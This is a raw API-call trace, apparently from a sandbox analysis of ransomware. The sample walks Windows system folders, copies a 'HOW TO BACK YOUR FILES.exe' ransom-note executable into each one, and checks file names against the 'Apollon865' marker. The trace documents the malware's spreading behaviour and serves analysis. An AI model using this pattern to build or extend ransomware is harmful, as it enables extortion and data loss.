	[0039.233] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.233] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f7dba30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f7dba30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.233] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.233] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.234] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="en-US" | out: lpString1="en-US") returned="en-US"
	[0039.234] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fda8
	[0039.234] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x8c) returned 0x599bd8
	[0039.234] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fdb0 | out: ListHead=0x5b76b0, ListEntry=0x59fdb0) returned 0x59fd90
	[0039.234] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f7dba30, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f7dba30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0039.234] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0039.234] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f7dba30, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f7dba30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0039.234] FindClose (in: hFindFile=0x5ca190 | out: hFindFile=0x5ca190) returned 1
	[0039.234] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fdb0
	[0039.234] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US"
	[0039.234] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599bd8 | out: hHeap=0x580000) returned 1
	[0039.234] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fda8 | out: hHeap=0x580000) returned 1
	[0039.234] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US") returned 69
	[0039.234] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US"
	[0039.234] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.234] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\common coverpages\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.239] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.239] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2f801b90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f801b90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.239] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.239] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.239] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="confident.cov" | out: lpString1="confident.cov") returned="confident.cov"
	[0039.239] lstrlenW (lpString="confident.cov") returned 13
	[0039.239] lstrlenW (lpString="Apollon865") returned 10
	[0039.239] lstrcmpiW (lpString1="fident.cov", lpString2="Apollon865") returned 1
	[0039.240] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="fyi.cov" | out: lpString1="fyi.cov") returned="fyi.cov"
	[0039.240] lstrlenW (lpString="fyi.cov") returned 7
	[0039.240] lstrlenW (lpString="Apollon865") returned 10
	[0039.240] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="generic.cov" | out: lpString1="generic.cov") returned="generic.cov"
	[0039.240] lstrlenW (lpString="generic.cov") returned 11
	[0039.240] lstrlenW (lpString="Apollon865") returned 10
	[0039.240] lstrcmpiW (lpString1="eneric.cov", lpString2="Apollon865") returned 1
	[0039.240] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="urgent.cov" | out: lpString1="urgent.cov") returned="urgent.cov"
	[0039.240] lstrlenW (lpString="urgent.cov") returned 10
	[0039.240] lstrlenW (lpString="Apollon865") returned 10
	[0039.240] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\ActivityLog", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\ActivityLog") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\ActivityLog"
	[0039.240] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591640 | out: hHeap=0x580000) returned 1
	[0039.240] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd88 | out: hHeap=0x580000) returned 1
	[0039.240] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\ActivityLog") returned 57
	[0039.240] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\ActivityLog" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\ActivityLog") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\ActivityLog"
	[0039.240] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.240] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\ActivityLog\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\activitylog\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.244] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.244] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\ActivityLog\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f801b90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f801b90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.244] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.244] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.244] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\Windows Defender", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender"
	[0039.244] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5458 | out: hHeap=0x580000) returned 1
	[0039.244] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd68 | out: hHeap=0x580000) returned 1
	[0039.244] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows Defender") returned 45
	[0039.244] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Windows Defender" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender"
	[0039.245] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.245] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.250] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.251] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f801b90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f801b90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.251] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.251] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.251] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="Definition Updates" | out: lpString1="Definition Updates") returned="Definition Updates"
	[0039.251] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd68
	[0039.251] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x82) returned 0x5b9168
	[0039.251] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd70 | out: ListHead=0x5b76b0, ListEntry=0x59fd70) returned 0x59fd50
	[0039.251] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f801b90, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f801b90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0039.251] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0039.251] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LocalCopy", cAlternateFileName="LOCALC~1")) returned 1
	[0039.251] lstrcmpiW (lpString1="LocalCopy", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0039.251] lstrcmpiW (lpString1="LocalCopy", lpString2="Apollon865.txt.exe") returned 1
	[0039.251] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="LocalCopy" | out: lpString1="LocalCopy") returned="LocalCopy"
	[0039.251] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd88
	[0039.251] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x70) returned 0x59a920
	[0039.251] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd90 | out: ListHead=0x5b76b0, ListEntry=0x59fd90) returned 0x59fd70
	[0039.251] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Quarantine", cAlternateFileName="QUARAN~1")) returned 1
	[0039.251] lstrcmpiW (lpString1="Quarantine", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0039.251] lstrcmpiW (lpString1="Quarantine", lpString2="Apollon865.txt.exe") returned 1
	[0039.251] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="Quarantine" | out: lpString1="Quarantine") returned="Quarantine"
	[0039.251] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fda8
	[0039.251] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x72) returned 0x591640
	[0039.251] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fdb0 | out: ListHead=0x5b76b0, ListEntry=0x59fdb0) returned 0x59fd90
	[0039.251] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7690f9e4, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x7690f9e4, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Scans", cAlternateFileName="")) returned 1
	[0039.251] lstrcmpiW (lpString1="Scans", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0039.251] lstrcmpiW (lpString1="Scans", lpString2="Apollon865.txt.exe") returned 1
	[0039.252] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="Scans" | out: lpString1="Scans") returned="Scans"
	[0039.252] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fdc8
	[0039.252] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x68) returned 0x599bd8
	[0039.252] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fdd0 | out: ListHead=0x5b76b0, ListEntry=0x59fdd0) returned 0x59fdb0
	[0039.252] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x76792c22, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x76792c22, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Support", cAlternateFileName="")) returned 1
	[0039.252] lstrcmpiW (lpString1="Support", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0039.252] lstrcmpiW (lpString1="Support", lpString2="Apollon865.txt.exe") returned 1
	[0039.252] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="Support" | out: lpString1="Support") returned="Support"
	[0039.252] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fde8
	[0039.252] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6c) returned 0x59a998
	[0039.252] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fdf0 | out: ListHead=0x5b76b0, ListEntry=0x59fdf0) returned 0x59fdd0
	[0039.252] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x76792c22, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x76792c22, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Support", cAlternateFileName="")) returned 0
	[0039.252] FindClose (in: hFindFile=0x5ca190 | out: hFindFile=0x5ca190) returned 1
	[0039.252] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fdf0
	[0039.252] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support"
	[0039.252] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0039.252] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fde8 | out: hHeap=0x580000) returned 1
	[0039.252] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support") returned 53
	[0039.252] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support"
	[0039.252] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.252] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\support\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.256] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.256] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f827cf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f827cf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.257] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.257] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.257] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="MPLog-07132009-221054.log" | out: lpString1="MPLog-07132009-221054.log") returned="MPLog-07132009-221054.log"
	[0039.257] lstrlenW (lpString="MPLog-07132009-221054.log") returned 25
	[0039.257] lstrlenW (lpString="Apollon865") returned 10
	[0039.257] lstrcmpiW (lpString1="221054.log", lpString2="Apollon865") returned -1
	[0039.257] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans"
	[0039.257] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599bd8 | out: hHeap=0x580000) returned 1
	[0039.257] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fdc8 | out: hHeap=0x580000) returned 1
	[0039.257] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans") returned 51
	[0039.257] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans"
	[0039.257] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.257] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.262] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.262] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f827cf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f827cf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.262] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.262] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.262] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="History" | out: lpString1="History") returned="History"
	[0039.262] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fdc8
	[0039.263] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x78) returned 0x5916c0
	[0039.263] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fdd0 | out: ListHead=0x5b76b0, ListEntry=0x59fdd0) returned 0x59fdb0
	[0039.263] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f827cf0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f827cf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0039.263] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0039.263] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f827cf0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f827cf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0039.263] FindClose (in: hFindFile=0x5ca190 | out: hFindFile=0x5ca190) returned 1
	[0039.263] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fdd0
	[0039.263] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History"
	[0039.263] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5916c0 | out: hHeap=0x580000) returned 1
	[0039.263] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fdc8 | out: hHeap=0x580000) returned 1
	[0039.263] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History") returned 59
	[0039.263] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History"
	[0039.263] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.263] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\history\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.271] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
